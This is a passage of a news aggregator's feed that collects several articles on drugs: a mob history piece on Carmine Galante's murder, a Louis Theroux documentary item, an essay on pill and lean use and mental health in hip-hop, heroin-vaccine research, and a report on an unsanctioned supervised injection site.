“[Galante’s] foray into the drug world really got kicked into high gear in the ’50s,” says Christian Cipollini, author of Murder Inc.: Mysteries of the Mob’s Most Deadly Hit Squad. Galante traveled to Canada and Sicily to oversee narcotics trafficking, “and it wasn’t long before he gained recognition by law enforcement as a major player in drug trafficking.” The feds busted Galante, sending him to prison in 1962 for 20 years. Finally paroled in the early 1970s, Galante set out to regain his control of the dope business. The problem? His fellow mobsters didn’t like it.

That fateful afternoon, Galante, 69, was having lunch with a friend and bodyguard Leonard Coppola, 40, and Turano’s father, Giuseppe, 48 — also a Bonanno associate. Smoking a cigar and enjoying the conversation, Galante certainly didn’t expect what happened next. John remembers three masked men walking into the restaurant. One pointed a gun at him, telling him not to move. But before the shooters reached the courtyard, the son shouted a warning to his father. The gunman turned and fired, wounding the young Turano before joining his cohorts in the courtyard, where they unleashed a barrage of bullets.

Carmine galante

“They blew Lilo away while he was eating lunch, in broad daylight,” says Mafia historian Ed Scarpo, author of Cosa Nostra News: The Cicale Files. John hid throughout the onslaught, and after the gunmen and bodyguards fled, he found the bodies. Galante had been blown off his chair and flung into the tomato patch behind him — a cigar in his mouth and a Zippo lighter in his hand. Coppola also was killed, and Turano was mortally wounded, dying later in the hospital.

Galante had reckoned he was untouchable as a former underboss to Joe Bonanno, and as a man who’d held to the code of omertà doing his jail time, he felt he deserved to get back what he lost. Assuming a leadership role without permission was one thing, but Galante had also started killing off his rivals in the Gambino family to take over the drug trade — and that was a step too far.

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“His apparent desire to basically reap all the rewards of the New York Mafia’s lucrative drug trade — by cutting out most of the other mafiosi from the profits — became Galante’s ultimate downfall,” says Cipollini. Someone at Galante’s level in the mob hierarchy doesn’t usually get assassinated without a lot of other important peers giving the OK. But Bonanno family crime boss “Joseph Massino wanted him out of the way,” Scarpo explains.

Galante paid the ultimate price for “hubris and greed,” says Scott Burnstein, author of Motor City Mafia: A Century of Organized Crime in Detroit. “He came out of prison and went against typical mob protocol by declaring himself boss without the universal approval of [the Bonanno] crime family.” To further complicate things, Galante isolated himself from his troops by creating his own handpicked inner circle of young native Sicilians to do his drug trafficking and strong-arm work. The irony? It was those very Sicilians — his bodyguards — who sold him out. Those armed bodyguards at his side weren’t killed that day because they had, in fact, betrayed Galante.

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Galante’s rackets and drug dealings were taken over by Massino and the others who had plotted to take him down. Anthony “Bruno” Indelicato, a Bonanno soldier, was convicted of the murder in 1986 at the famous Mafia Commission trial and sentenced to 40 years.

Since then, the picture of Galante’s last meal has become an iconic image, representing what can happen when an ambitious mobster makes a power grab. While certainly not the first mobster to dabble with drugs, says Burnstein, “he was one of the first to do it so brazenly and unapologetically.” Rather than let him consolidate as a drug kingpin, the Bonnanos decided Galante had overstepped and that he had to pay the ultimate price.

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]]> https://briefnews.eu/the-heroin-dons-last-meal/feed/ 0 Louis Theroux: Dark States – Journalist sniffs heroin on addict’s palm https://briefnews.eu/louis-theroux-dark-states-journalist-sniffs-heroin-on-addicts-palm/ https://briefnews.eu/louis-theroux-dark-states-journalist-sniffs-heroin-on-addicts-palm/#respond Sun, 08 Oct 2017 23:23:02 +0000 http://briefnews.eu/louis-theroux-dark-states-journalist-sniffs-heroin-on-addicts-palm/

One addict Louis interviewed explained that her latest delivery had “a smell to it” which meant that it had either been “re-cut” or was a “decent quality”.

Finding it hard to describe the vinegar scent, the addict offered her palm out to Louis to smell the drug.

As Louis explained that it was “weird” and moved his nose closer, viewers took to social media, with one tweeting: “Louis Theroux sniffing heroin off a woman’s palm is all I needed for my Sunday night.”

“Watching Louis Theroux sniff a bit of heroin has been the highlight of my week,” posted another, as a third added: “Watching Louis Theroux sniffing heroin is great Sunday tv.”

Louis himself tweeted: “Thanks for watching that, if you watched it, and thanks for your messages. Come back next week for sex trafficking in Houston. #DarkStates.”

In an interview with the Radio Times, he was asked if an addict’s description of the heroin high had ever left him tempted to try the drug himself, leading Louis to reply: “Yes. The smallest part of me.

“I never would,” he clarified. “But of course there is a little part of you that wants to know, to understand that rush.

“I wish, maybe, that a little had accidentally touched my nose,” he added. “Just to accidentally get an idea of how it feels.”

Louis did, however, explain that he certainly would never try heroin.

The second instalment of the documentary series will follow Louis as he explored the sex trade in Houston, Texas.

Trafficking Sex is set to take him on undercover operations with Vice police officers and examine how the city became a centre for people trafficking.

Episode three, Murder In Milwaukee, covers the increasing homicide rates in the city and will see Louis join Homicide division as they investigate some cases.

For help and information, phone the BBC Action Line on 0800 155 947, or visit bbc.co.uk/actionline.

Louis Theroux: Dark States continues next Sunday on at 9pm.

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]]> https://briefnews.eu/louis-theroux-dark-states-journalist-sniffs-heroin-on-addicts-palm/feed/ 0 Beyond Dope 💊 https://briefnews.eu/beyond-dope/ https://briefnews.eu/beyond-dope/#respond Sun, 08 Oct 2017 21:56:09 +0000 http://briefnews.eu/beyond-dope-%f0%9f%92%8a/

Flip through rap radio in the last couple years, and patterns emerge. Between the bars of Future’s viral hit “Mask Off” — “Percocets / Molly, Percocets” — there might be Logic’s hit “1-800-273-8255,” describing suicidal thoughts, the title of the song itself the National Suicide Prevention Lifeline phone number. Lil Uzi Vert’s “XO Tour Llf3” details Xanax addiction and being pushed “to the edge” where he might “blow my brain out.” XXXTentacion raps about suicidal thoughts and simulated his own hanging in a recent video, as did rapper Father in his clip for “Suicide Party.”Mac Miller, Schoolboy Q, Isaiah Rashad, and Kevin Gates also have tracks dealing with narcotics abuse and the emotional woes caused by their indulgences.

Drug use and self-harm are hot topics in popular rap songs by chart-topping artists, and their simultaneous emergence is no coincidence, with each topic bearing a long history in a genre that’s typically dominated by black men.

“Self-medication is the name of the game in the culture of young black men in hip-hop,” Vic Mensa told BuzzFeed News in September. The Chicago emcee fought his way back from drug addiction after a season of depression and suicidal thoughts — which were brought on by prolonged use of pills among other substances. He raps about it in “There’s a Lot Going On.”

Kid Cudi wrote a letter to his fans in 2016 describing his own mental health issues and why they led him to rehab. “My anxiety and depression have ruled my life for as long as I can remember and I never leave the house because of it,” Cudi wrote. “I can’t make new friends because of it. I don’t trust anyone because of it and I’m tired of being held back in my life. I deserve to have peace. I deserve to be happy and smiling. Why not me?”

Joe Budden has been open about his addictive personality, and struggles with drug abuse on top of his own mood disorder. “As somebody who’s been suicidal and battled depression, I would like to see hip-hop address it more,” he said during Complex’s Everyday Struggle, an online show that he cohosts. “We’re so powerful as a culture … we move things. Enough of us have died from mental health issues for us to look into it. Most of these rappers are telling us what they’re going through and I try to listen for it.”

“As somebody who’s been suicidal and battled depression, I would like to see hip-hop address it more.”

From heroin and cocaine in jazz and R&B, to acid in funk, to marijuana and Ecstasy in hip-hop, narcotics have been a not-so-silent partner to the sound and the subjects in black music. In contemporary popular hip-hop, however, popping prescription pills like Xanax, Oxycontin, benzodiazepines, and MDMA along with lean — a mixture of soda and Actavis syrup (if you can find it) — have become a badge of honor in contemporary hip-hop as well as on mainstream radio. Songs like these highlight the connection between music, artists, and fans and how each reflects the other.

Hand in hand with the pill name-drops are health conditions — addiction, depression, chronic pain — that some prescription drugs are actually engineered to treat. The pill rap wave dovetails with the growing heroin epidemic on top of suicide becoming the number two cause of death in teens ages 15 to 19, according to the Centers for Disease Control.

Hip-hop has moved from selling drugs to using drugs as a point of pride, and that arc tracks with amplified numbers of suicide and mental health concerns among hip-hop’s target audience. The tandem rise isn’t a quirky coincidence: It’s a serious cause for concern, if not only for the performers but also for fans. Hip-hop has more than a minor ailment — the culture’s got an addiction and it’s driving us mad.


Rich Polk, Kevin Winter, Bennett Raglin, Christopher Polk, Bennett Raglin / Getty Images

Vic Mensa, Logic, Schoolboy Q, Mac Miller, Kid Cudi.

Drinking, smoking weed, and selling cocaine became staples in hip-hop — lyrically, and in practice — beginning in the mid-1990s, epitomized in albums like Jay-Z’s Reasonable Doubt and Notorious B.I.G.’s Ready to Die. Tales of South American suppliers, coke bricks, and depictions of grimy dealers in the trap — a colloquialism for a drug and/or stash house — pumped from speakers in songs like “Can’t Knock the Hustle.” By the late ‘90s and early 2000s, rappers like Ja Rule and 50 Cent moved on to include Ecstasy as a party drug in their lyrics, though the inclusion of pills rarely budged beyond that.

The affordable low-risk high of lean made the drink a drug of choice with Texas artists like DJ Screw, a pioneer of the “chopped and screwed” style that fit nicely with the beverage’s propensity for slowing down the world. Lean — aka “dirty Sprite,” “drank,” “syrup,” “sizzurp,” “purp,” and “barre” — started making its way into rhymes down South, evidenced by hits like Three 6 Mafia’s “Sippin on Some Sizzurp” and Jay Z’s “Big Pimpin’” featuring UGK in 2000 (the same year Screw died from codeine-related conditions). Lean’s popularity in the black music community began long before the age of hip-hop, as retired University of Texas Health Science Center professor Ronald Peters told Noisey: In the 1950s, Houston blues musicians mixed cough syrup with beer and wine coolers to get the high of Benadryl today without garnering police attention.

But all along the way in hip-hop’s history, there’s been the counternarrative about drugs, prescription or not. Grandmaster Flash and The Furious Five told a cautionary tale about rap and drugs in 1984 with “White Lines (Don’t Don’t Do It),” and in 1988 and Public Enemy’s followed up with “Night of the Living Baseheads.” Cash Money Records founder Birdman’s (formerly Baby) regional 1993 track “I Need a Bag of Dope” with the 32 Golds celebrated his love for snorting heroin but then getting sick if he couldn’t score: “I started snortin’ and scratchin’ and throwing up.”

Southern hip-hop’s rise arguably crystallized in the national popularity of Baby’s protégé Lil Wayne around the release of 2004’s “Go D.J.” Along with his gravelly delivery, the rapper brought a lean-filled cup and a penchant for the rockstar lifestyle; as Wayne recorded his 2008 album Tha Carter III, that cup became a mainstay in his interviews. The unauthorized documentary The Carter revealed his escalating narcotic dependence and the havoc it caused. Musically, while other rappers rhymed about indulging in weed and Ecstasy and privately snorted cocaine, this film shows Wayne giddily mixing lean as his manager exasperatingly dealt with his artist in the grip of addiction.

Elsewhere, Lil Wayne cuts like “Me and My Drank” and “Viva La White Girl” blatantly described the New Orleans MC’s predilections — and it sounded great, unfortunately. Wayne also spoke to his lean dependency during an interview with MTV News in 2008, saying, “Everybody wants me to stop all this and all that. It ain’t that easy. … feels like death in your stomach when you stop doing that shit.” (Lil Wayne declined BuzzFeed News’ request for comment.)


Darren Mccollester / Getty Images

Then came pills. In 1996, sufferers of chronic pain started getting prescriptions for a new drug called Oxycontin. A physician, Dr. Roneet Lev, chair of San Diego County Rx Drug Abuse Medical Task Force, told to Fox 5 San Diego that when Oxycontin hit the market, its parent company Purdue Pharma told doctors that only 1% of patients became addicted and furthermore that they were cruel if they didn’t prescribe it. In reality, addiction was much more prevalent, and ultimately helped to lead to America’s current opioid crisis, President Trump declaring it a national emergency in August. According to the National Institute on Drug Abuse, the crisis was caused by three main variables: the huge jump of scripts written; “aggressive marketing” by pharmaceutical companies; and “greater social acceptability for using medications for different purposes.”

Elsewhere, Xanax, also known as happy pills, can be used to take the anxiety-ridden edge off other drugs like Ecstasy and soothe depression and unhappy feelings, making it a choice party drug. And thanks to pill mills, establishments where doctors loosely doled out prescriptions, drugs like Oxy, Vicodin, Percocet, and others weren’t too tough to get as long as one had the money. Users could cycle through several pill mills in one day to maintain their supply for personal use or for sale.

Speaking with BuzzFeed News, Ebro — host of New York’s Hot 97 morning show and Apple’s Beats 1 — wanted to clarify: Hip-hop didn’t start the pill-popping epidemic, that pills’ entry into rap’s vernacular is a reflection of whatever was already happening in United States specifically with youth culture.


Lil Wayne in “The Carter” documentary / Via vimeo.com

As artists like Lil Wayne rose in ranks in the mid-aughts, they “broke away from hood-centered paradigms in hip-hop culture,” said Langston Wilkins, ethnomusicologist and program officer with the State Humanities Council of Tennessee in Nashville. They brought with them “different cultural influences, whether it was Wayne’s skateboarding and pseudo-rock thing or Kanye’s high-fashion experiences. They also attracted different audiences and with them came different ways of partying or escaping your problems, like popping pills or tabs of Xanax and other drugs.”

Atlanta emcee Gucci Mane broke onto the larger hip-hop landscape in 2006 with “Pillz,” boasting a chorus asking “Is you rolling?” and him responding, “Bitch, I might be.”

“I was high as hell when I made ‘Pillz,’ and the next day when they played it, I was like, ‘Don’t do that,’ because it’s like I’m telling on myself!” said a now-sober Gucci during a recent event for YouTube in New York, speaking on his new book The Autobiography of Gucci Mane. “At the end of the day, I made millions but I was tripping.”

By 2011, Future debuted with his Dirty Sprite mixtape, directly shouting out lean, continuing on his career trajectory by touting drug use. As for his most recent summer hit “Mask Off,” he said in 2015 that all of the drug lingo is just for show. “I don’t have to do it all the time. I am sober,” he told Clique TV. “I’m not like super drugged out or a drug addict.” He raps about drugs, not because it’s his personal habit but “because I feel like that’s the number one thing everybody likes to talk about. … It’s the number one seller.” (Future declined BuzzFeed News’ request for comment.)


Kevin Winter, Bennett Raglin, Christopher Polk, Rachel Murray, Frazer Harrison / Getty Images

Future, Gucci Mane, Lil Uzi Vert, Kevin Gates, Chance the Rapper.

The CDC lists suicide as the #2 cause of death for teens in the US, sandwiched between homicides and unintentional injuries, which can include accidental overdoses. Historically, black people don’t often see therapists or doctors as much as we should, and like our ancestors who often took their issues to the Lord in prayer, rappers take theirs to the recording booth. Artists like Kendrick Lamar and Gates, who’ve both fought depression, have called music their therapy; however, it might also be good to also talk with a professional.

“There is something to be said for creative expression, but I wouldn’t say that’s enough,” said Inger Burnett-Zeigler, professor and clinical psychologist in Northwestern University’s department of psychiatry. “Therapy is really about identifying dysfunctional thoughts and how your feelings can be a product of that, and you need someone else to step in and identify that.”

According to the Handbook of African American Psychology, anxiety is the “most prevalent class of mental disorders in the United States” in terms of mental health for people of all ethnicities; 28% of people experience it at some point in their lives. Anxiety disorder includes “panic disorder, specific phobias, social phobia, generalized anxiety disorder, posttraumatic stress disorder (PTSD), and obsessive–compulsive disorder (OCD),” demonstrated by persistent and debilitating fear. Anxiety is often flanked by depression and drug abuse, born as a way to tackle uncomfortable feelings. More than a few music artists may be exposed to nonprescribed medication when they’re on the road and maintaining a pace that allows them to consistently perform in front of thousands of screaming fans. But that pattern can be a slippery slope to unhealthy and addictive self-soothing habits.


Slaughter Gang/Epic

“I don’t think self-medication is a conscious act. With entertainers, they’re in an environment with drugs and alcohol, and at some point you realize these substances numb your feelings,” said Burnett-Zeigler. “They’re a means of escape and you repeat that behavior, but often people can’t say that or even realize that’s what they’re doing.”

The cover art of 21 Savage’s Issa Album is an illustration of the rapper holding a foam cup, intimating the rapper’s own lean habit, which he raps about on “Numb the Pain,” rhyming, “I’m sippin’ codeine, not brandy / And I’m sippin’ codeine, I’mma addict … Numb the pain with the money.” Gucci writes something similar in his autobiography: “This is how these downward spirals in my life always went. Some stressful situation would arise and I would turn to the drugs to cope. Abusing lean, weed, and pills would end up with me sleeping and eating poorly. … I wouldn’t be on point to handle the original stressful situation. I’d compound bad choices … lead[ing] to more problems, stress and drugs. A cycle with no end. No good one at least.”

Riana Anderson, associate professor of social work at University of Souther California, told BuzzFeed News that drugs can be a means of escape for a rapper (or listener), for when one doesn’t engage in healthier options like therapy or benefit from the buffer of supportive friends and family. If trauma is met with phrases like “stop crying” or “man up,” people may learn to deal with their pain in other ways, like escapism.

Over the past couple years, while watching many of his friends become addicted in real time, Mensa found himself forced to make a choice in one single moment. “I was in a dark place and putting myself through a lot, so that one acid trip was a tipping point in an already sinking ship and I came to a place where I had forgotten my smile and how to see the sunlight,” he said. “There was not a 10-minute span when I wasn’t thinking of killing myself, and that’s very taxing. Being in that position mentally — and having drained my brain of the serotonin, dopamine, and everything that brings us joy as humans — it was was either I change or I’m going to die from this.”

“No one realizes that lean is liquid heroin. I hate lean.”

While Mensa got clean thanks to help from his girlfriend at the time, some of his friends are still dealing with the effects of drug abuse. He said one experiences from seizures and another faces life behind bars after getting high and shooting up a crowded party.

Atlanta rapper OG Maco told Splinter in 2016, “No one realizes that lean is liquid heroin.” Heroin can be the next step after other drugs become too expensive, and lean has similar withdrawal effects. “I hate lean.”

But there is hope. Maco — who spoke out against the glamorization of drug use in 2015 and had a beef with Future because of it — has stepped away from lean. Chance the Rapper, one of Mensa’s hometown friends, recovered from a Xanax addiction; he went on to win three 2017 Grammy awards and a guest spot on Kanye West’s The Life of Pablo album (plus cuddles from Beyoncé). Mac Miller had an addiction to lean among other drugs and is also in recovery.

Russ recently wore a shirt saying “How much Xanis and lean do you have to do before you realize you’re a fucking loser” and unleashed a Twitter rant similar to Maco’s this month. “Doing Xanax and lean cuz your favorite rapper makes it sound cool is all fun and games till your impressionable ass gets addicted. Stop,” Russ tweeted.

But, by far, the addiction recovery star is Gucci, whose sobriety and clarity has paved a new path for him. Despite building a career on the glorification of drug sales and his own addiction, his final 39 months in prison starting in 2013 became his wake-up call to face his demons and address his drug abuse.

“Gucci Mane is a brilliant example of bringing that shine back to your life,” Mensa said. “He’s a great example from a physical and spiritual standpoint of how a change can be overwhelmingly positive, not lame. He’s a real affirmation of what it means to be a man and not these convoluted and twisted ideas about masculinity.”

In August, both Lil Uzi Vert and Logic performed their respective songs about suicide on the MTV Video Music Awards stage, cementing mental health in the country’s pop consciousness. And while awareness about drug abuse helps, it means little if there is no policy change or funding for affordable rehabilitation centers to stop addiction before it begins or curtail it after it has taken hold.

“Mental health continues to be a neglected issue in the black community,” say Burnett-Ziegler. “Policy makers and funders need to do something. People say, ‘Oh, let’s talk about mental health’ [and] ‘These kids are dying or having multiple exposure to trauma,’ so it’s a part of the conversation and that’s positive. But there are few concrete initiatives to address those needs, so it’s still just talk.”

Indeed, some of the hottest hits have been created by hip-hop artists who are not only under the influence of drugs but also anxiety and depression. Still, a chart-topping hit shouldn’t be made at the expense of a person’s stability and the very lives of those creating America’s soundtrack.

“Are these albums that I have in my arsenal drug-induced? Definitely,” Miller tells the camera in a Fader documentary. “Are these albums dope? Definitely.” ●

To learn more about depression, check out the resources at the National Institute of Mental Health here.

If you are thinking about suicide, talk to someone. You can speak to someone by calling the National Suicide Prevention Lifeline at 1-800-273-TALK (8255) and or by texting HOME to 741741, the Crisis Text Line. Suicide helplines outside the US can be found here.

READ MORE: American Heroin Epidemic

]]> https://briefnews.eu/beyond-dope/feed/ 0 ‘You’re trying to solve a drug problem with another drug’: Vaccines for cocaine, heroin and opioid addictions https://briefnews.eu/youre-trying-to-solve-a-drug-problem-with-another-drug-vaccines-for-cocaine-heroin-and-opioid-addictions/ https://briefnews.eu/youre-trying-to-solve-a-drug-problem-with-another-drug-vaccines-for-cocaine-heroin-and-opioid-addictions/#respond Fri, 06 Oct 2017 12:19:51 +0000 http://briefnews.eu/youre-trying-to-solve-a-drug-problem-with-another-drug-vaccines-for-cocaine-heroin-and-opioid-addictions/ Vaccine vials

Scientists are exploring ways to create vaccines against drug addiction. So far, there’s research into vaccines for cocaine, heroin and other opioid addictions. The vaccine would prevent a high by blocking drugs from getting to brain cells.

CBC | Health News

]]> https://briefnews.eu/youre-trying-to-solve-a-drug-problem-with-another-drug-vaccines-for-cocaine-heroin-and-opioid-addictions/feed/ 0 New heroin vaccine helps users quit by blocking its effects https://briefnews.eu/new-heroin-vaccine-helps-users-quit-by-blocking-its-effects/ https://briefnews.eu/new-heroin-vaccine-helps-users-quit-by-blocking-its-effects/#respond Wed, 30 Aug 2017 04:03:32 +0000 http://briefnews.eu/new-heroin-vaccine-helps-users-quit-by-blocking-its-effects/ opioid addiction heroin crisisJohn Moore/Getty Images

Researchers have developed a vaccine against heroin that works by blocking its narcotic effects.

In other words, it prevents the user from feeling anything, undercutting the purpose of taking the drug at all.

A single shot would work for weeks at a time, with the best formulation blocking the effects for at least eight months if given every three months. The researchers even think the vaccine can protect against lethal overdose.

Thus far it has been used successfully in monkeys and mice, with human trials on the horizon.

There’s no question that the use of heroin and other opioids is a crippling social problem. From 2013 to 2014, the number of heroin users in the US tripled, reaching one million. According to the Guardian, heroin use costs the US about $ 50 billion annually. Health risks are high, with deaths from overdose tripling over the last 15 years, and HIV and other blood-borne diseases being spread by IV users.

However, a vaccine for heroin is controversial, because many feel that breaking the physical cycle isn’t enough without addressing the underlying causes of drug abuse. Serious drug use is frequently a response to psychological and social pain and trauma — the results of a person’s experience and environment. Furthermore, there are many other drugs users could take that provide similar effects to heroin, and which the vaccine would not work against without adapting.

syringe heroinAssociated Press/Elaine Thompson

Peeling the addiction onion

On the other hand, some drug addiction specialists have expressed cautious approval. “Vaccines are meant to be used by people who want to quit taking drugs,” pharmaceutical chemist Kim Janda of the Scripps Research Institute told The Guardian. “If you don’t want to stop then nothing will help. The idea is that if they have a moment of weakness, they won’t relapse and can continue with their therapy.”

Behavioral psychologist John Marsden of King’s College, London agrees with Janda: “A vaccine could be a good combination therapy with psychotherapy to look at the underlying issues,” Marsden told The Guardian. However, Janda does not tout the vaccine as a “miracle cure.” He clarified for The Guardian, “Vaccines will be another tool in treating addiction, it’s as simple as that.”

The heroin vaccine showcases the fact that, while there are many physical components to the heroin crisis in the US, the problem is also driven by socio-economic factors. Any failing of the pharmaceutical fix highlights problems such as social inequality, lack of access to support systems and programs, and draconian drug policies that disproportionately affect people of color and the poor.

These are problems that are far harder to devise a cure for.

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]]> https://briefnews.eu/new-heroin-vaccine-helps-users-quit-by-blocking-its-effects/feed/ 0 An underground injection site for heroin users has been operating in the US for years https://briefnews.eu/an-underground-injection-site-for-heroin-users-has-been-operating-in-the-us-for-years/ https://briefnews.eu/an-underground-injection-site-for-heroin-users-has-been-operating-in-the-us-for-years/#respond Tue, 08 Aug 2017 16:46:36 +0000 http://briefnews.eu/an-underground-injection-site-for-heroin-users-has-been-operating-in-the-us-for-years/ FILE PHOTO - A man injects himself with heroin using a needle obtained from the People's Harm Reduction Alliance, the nation's largest needle-exchange program, in Seattle, Washington April 30, 2015. REUTERS/David Ryder/File PhotoThomson Reuters

(NEW YORK) — A safe haven where drug users inject themselves with heroin and other drugs has been quietly operating in the U.S. for the past three years, a report reveals.

None were known to exist in the U.S. until the disclosure in a medical journal, although several states and cities are pushing to establish these so-called supervised injection sites where users can shoot up under the care of trained staff who can treat an overdose if necessary.

In the report released Tuesday, two researchers said they’ve been evaluating an underground safe place that opened in 2014. As a condition of their research, they didn’t disclose the location of the facility — which is unsanctioned and potentially illegal — or the social service agency running it.

The researchers offered little data, and their main finding was that no one died while injecting at the safe place. There were two overdoses on site, which were reversed by staff members using the overdose medication naloxone.

Advocates and some politicians in recent years have called for government-sanctioned injection sites as the U.S. grapples with the opioid epidemic. More than 52,000 Americans died from drug overdoses in 2015 — the most ever — fueled by soaring abuse of heroin and prescription painkillers. Government statistics for the first nine months of last year, also released Tuesday, show overdose death rates continuing to spiral.

Some say the new report could have an impact on efforts to establish safe injection sites around the U.S. Such sites have been backed by lawmakers in New York, California and other states, along with officials in cities like Seattle, San Francisco and Ithaca, New York.

“It shows people that it’s possible” to operate one of these in the U.S., said Lindsay LaSalle, an attorney with Drug Policy Alliance who has helped draft safe haven legislative proposals in six states.

Injection sites are legal in countries including Australia, Canada, Denmark, France, Germany, Luxembourg, the Netherlands, Norway, Spain and Switzerland where medical professionals monitor drug users. They also provide clean needles to prevent the spread of infectious diseases like HIV or hepatitis C. Ideally, they also steer users into treatment and other services.

syringe heroinAssociated Press/Elaine Thompson

Some experts say new approaches are needed to fight the opioid epidemic, including safe havens. But they’ve faced legal and political hurdles. Critics have argued these places may undermine prevention and treatment, and seem to fly in the face of laws aimed at stopping use of deadly illicit drugs.

Safe injection sites are different from syringe exchange programs, which were once controversial but now exist in 33 states.

The underground safe haven is open between four and six hours a day, five days a week, according to Alex Kral, a San Francisco-based researcher with RTI International, and Peter Davidson of the University of California, San Diego. Their report was published online in the American Journal of Preventive Medicine.

The space consists of two rooms — an “injection room” with five stainless steel stations with mirrors and stools and a room next door where users are monitored afterward. There are trained staff on hand, but no one who is medically licensed, according to the researchers. Smoking is not allowed there, but drugs like heroin, pain pills, cocaine and methamphetamine are.

Alex's heroin pic MyanmarSoe Zeya Tun/Reuters

Use of the space was by invitation only. Most visitors are white, homeless men. It was used 2,500 times over two years by over 100 people, although researchers say the exact number of participants isn’t known because the facility relies on anonymous surveys.

There’s no data on deaths or drug use by clients who injected when the site was closed and it’s not known whether any went into treatment, Kral said.

The study also didn’t look at issues opponents worry about, like whether creation of a safe place is associated with an increase in people beginning to try drugs, said Jonathan Caulkins, a drug policy expert at Carnegie Mellon University who nonetheless applauded the organization’s effort to try to stop overdose deaths.

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